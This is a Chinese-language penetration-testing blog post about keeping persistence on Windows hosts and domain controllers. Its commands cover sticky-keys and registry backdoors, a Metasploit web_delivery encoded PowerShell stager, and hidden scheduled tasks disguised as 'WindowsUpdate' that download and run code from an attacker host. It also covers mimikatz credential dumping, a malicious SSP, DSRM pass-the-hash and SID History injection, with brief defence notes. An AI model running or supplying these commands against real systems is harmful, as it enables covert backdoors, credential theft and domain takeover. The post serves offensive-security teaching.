内网渗透之权限维持

内网渗透

Posted by yanmie on March 1, 2021

权限维持

提升权限后,攻击者往往需要建立后门来维持对目标的控制权,这样即使修复了攻击者利用的漏洞,攻击者还可以通过后门来继续控制目标机器。

一、操作系统后门

1.1 粘滞键后门

Windows的粘滞键——C:\windows\system32\sethc.exe,它本是为不方便按组合键的人设计的.

按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。

那么我们用其他的 exe 文件替换掉他,便会执行我们换掉的 exe .

比如我们换个 cmd.exe , 就可在登录屏保界面连续按 5 次 shift 键 就可调出 cmd 窗口,因为此时用户并未登录,所以权限为 system 。

在Windows Vista之后的版本中,如果要替换sethc.exe,我们需要用到trustedinstaller权限,这是一个高于Administrator的权限。

修改方法见: http://hackergu.com/power-sethc-cmd/

cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

1.2 注册表后门

在普通用户权限下,可以将需要执行的后门程序或者脚本路径填写到注册表键 HKCU:Sofware\Microsoft\Windows\CurrentVersion\Run 中(简明可以任意设置)。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

容易被查杀

image-20210225204816400

1.3 计划任务后门

计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8 版本开始的操作系统中使用schtasks 命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。 计划任务后门的基本命令如下。该命令表示每小时执行一次 notepad.exe。

schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1

使用schtasks /delete /tn updater即可删除.

使用MSF模拟计划任务后门

exploit/multi/script/web_delivery 模块。

可模拟在目标系统中快速建立会话行为。因为该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测。

msf6 exploit(multi/script/web_delivery) > show options 

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  10.1.1.16        yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.1.1.16        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   PSH


msf6 exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.1.1.16:4444 
[*] Using URL: http://10.1.1.16:8080/EYoBVHcTfv
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABpAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAuADEALgAxADYAOgA4ADAAOAAwAC8ARQBZAG8AQgBWAEgAYwBUAGYAdgAvAEgAcQBYAHQAeQBRAEIARwBYAFIAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEALgAxAC4AMQA2ADoAOAAwADgAMAAvAEUAWQBvAEIAVgBIAGMAVABmAHYAJwApACkAOwA=

在目标系统中输入生成的后门代码,生成新的会话

schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onlogon /ru System

image-20210225210830957

目标机子访问网址,即可得到 session

image-20210225211029899

image-20210225211148617

(1)用户登录
 
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onlogon /ru System
 
(2)系统启动
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onstart /ru System
 
(3)系统空闲
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onidle /i 1

在PowerShell模拟计划任务后门

Persistenxe.psml

生成persistence.ps1,是计划任务执行的payload

1.4 meterpreter后门

  • Persistence

  • metsvc

  • 开启远程桌面

  • 通过nc(netcat)

1.5 WMI

WMI型后门只能由具有管理员权限的用户运行。WMI型后门通常是用PowerShell编写的可以直接从新的WMI属性中读取和执行后门代码、给代码加密。通过这种方法,攻击者可以在系统中安装一个具有持久性的后门,且不会在系统磁盘中留下任何文件。WMI型后门主要使用了WMI的两个特征,即无文件和无进程。其基本原理是:将代码加密存储于WMI中,达到所谓的“无文件”;当设定的条件被满足时,系统将自动启动PowerShell 进程去执行后门程序,执行后,进程将会消失(持续时间根据后门的运行情况而定,一般是几秒).达到所谓的“无进程”。 Empire下的Invoke-WMI模块可以实现这种后门的利用

二、WEB后门

Web后门俗称WebShell,是一段包含 ASP、ASP.NET、PHP、JSP程序的网页代码。这些代码都运行在服务器上。攻击者会通过一-段精心设计的代码, 在服务器上进行一些危险的操作, 以获取某些敏感的技术信息,或者通过渗透和提权来获得服务器的控制权。IDS、杀毒软件和安全工具一般都能将攻击者设置的Web后门检测出来。不过,有些攻击者会编写专用的Web后门来隐藏自己的行为。

2.1 Nishang下的WebShell

https://www.cnblogs.com/bonelee/p/8258283.html

2.2 weevely后门

weevely 是款用 Python语言编写的针对PHP平台的WebShell 其主要功能如下。

  • 执行命令和测览远程文件。
  • 检测常见的服务器配置问题。
  • 创建TCP Shell和Reverse Shell,
  • 打扫描端口。
  • 安装HTTP代理。

https://www.cnblogs.com/forforever/p/12674656.html

2.3 webacoo后门

https://www.cnblogs.com/laoxiajiadeyun/p/10507441.html

2.4 web meterpreter后门

三、域控制器权限持久化

3.1 DSRM域后门

3.1.1 DSRM简介

DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil 命令行工具。在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。 我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理品用户, 通过网络连接城控制器, 进而控制域控制器。

3.1.2 修改DSRM密码的方法

微软公布了修改DSRM密码的方法。在城控制器上打开令行环境,常用命令说明如下,

NTDSUTIL: 打开ndsuil
set dsrm password:设置DSRM的密码。
reset pssword on server null:在当前域控制器上恢复DSRM密码。
<PASSWORD>:修改后的密码。
q(第1次):退出DSRM密码设置模式。
 q(第2次):退出ntdsutil

如果域控制器的系统版本为Windows Server 208已安装KB961320 及以上,可以将DSRM密码同步为已存在的域账号密码。常用命令说明如下。

NTDSUTIL: 打开ntdsutil。
SET DSRM PASSWORD:设置DSRM的密码。
SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步。
q(第1次):退出DSRM密码设置模式。
q(第2次):退出ntdsutil。

3.1.3 实验操作

  1. 在域控上运行mimikatz,分别读取域用户的NTLM hash和本地管理员的NTLM hash

读取域用户

privilege::debug
lsadump::lsa /patch /name:lrbtgt

读取本地管理员(DSRM)

token::elevate
lsadump::sam
  1. 将DSRM的hash值与域用户同步

上面已经演示过了

  1. 验证下是否同步成功
  2. 修改DSRM登录方式

注册表路径是HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior(系统默认是不存在的,请手动添加),其可能的值如下:

  • 0(默认值):只有当DC重启进入DSRM时,你才能使用DSRM管理员帐户。
  • 1:只有当本地AD DS服务停止时,你才能使用DSRM管理员帐户登录。
  • 2:无论哪一种情况,你都可以使用DSRM管理员帐户登录。(并不推荐此设置,因为密码策略并不会应用到DSRM的管理员帐户)

我们需要修改其值为2

可以在powershell下执行

new-itemproperty "hklm:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdminLogonBehavior" -value 2 -propertyType DWORD
  1. 使用DSRM远程登录

在域内机器已以管理员身份运行mimikatz,执行如下命令

privilege::debug
sekurlsa::pth /domain:domainname /user:username /ntlm:ntlmhash

会弹出一个CMD,该窗口有权访问域控

3.1.4 防御

定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1, 或者删除该键值。 定期修改城中所有城控制器的DSRM账号。 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

3.2 SSP 维持域控权限

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DlL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM、Ketberos,Negotiare. Seure Channe (Schannel )、Digest、Credental ( CredSSP )。 SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。 如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (Local Security Authority)用于身份验证; lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。 第一个实验是使用mimikatz将伪造的SSP注人内存。。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注人内存的伪造的SSP将会丢失。在实际网络维护中,可以针对这一点采取相应的防御措施。

privilege::debug
misc::memssp

注销当前用户。输入用户名和密码后重新登录,获取明文密码,密码存储在日志文件C:\Windows\System32\mimilsa.log中。

img

img

第二个实验是将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\目录下,并将mimilib添加到注册表中。使用这种方法,系统重启也不会影响持久化的效果。

将mimikatz中的mimilib.dll复制到系统的C:\Windows\System32\目录下

修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages 项,加载新的DLL文件

防御:

  • 检查HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的DLL文件。
  • 检查C:WindowsSystem32\目录下是否有可疑的DLL文件。
  • 使用第三方工具检查LSA中是否有可疑的DLL文件。

3.3 SID History 域后门

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的个属性。

如果将A域中的域用户迁移到B域中,那么在B域中新建的用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikaz,可以将SID History 属性添加到域中任意用户的SID History 属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员的权限).就可以将SIDHisoy作为实现持久化的方法。

将Administrator的SID添加到恶意用户test 的SID History属性中。使用powershell查看用户的SID History属性

PS C:\Users\Administrator> Import-Module ActiveDirectory



PS C:\Users\Administrator> Get-ADUser test -Properties sidhistory

image-20210301174520319

打开一个具有域管理员权限的命令行窗口,然后打开mimikatz将Admnistrator的SID添加到test用户的SID Histery 属性中。需要注意的是:在使用mimikatz注人SID之前,需要使用*sid ::patch”命令修复NTDS服务,否则无法将高权限的SID注人低权限用户的SID Hisory属性: mimkaz在2.1版本以后,将mscasidd模块转移到了sid::add模块下。

privilege::debug

sid::add /sam:test /new:Administrator

再次使用PowerShell查看test用户的SID History,尝试列出域控制器C盘的目录 dir \dc\c$

SID History域后门的防御措施如下。

  • 经常查看域用户中SID为500的用户。
  • 完成域迁移工作后,对有相同SID History属性的用户进行检查
  • 定期检查ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

3.4 Golden Ticket 黄金票据

3.5 Silver Ticket 白银票据

3.6 Skeleton Key 万能密码

3.7 Hook PasswordChangeNotify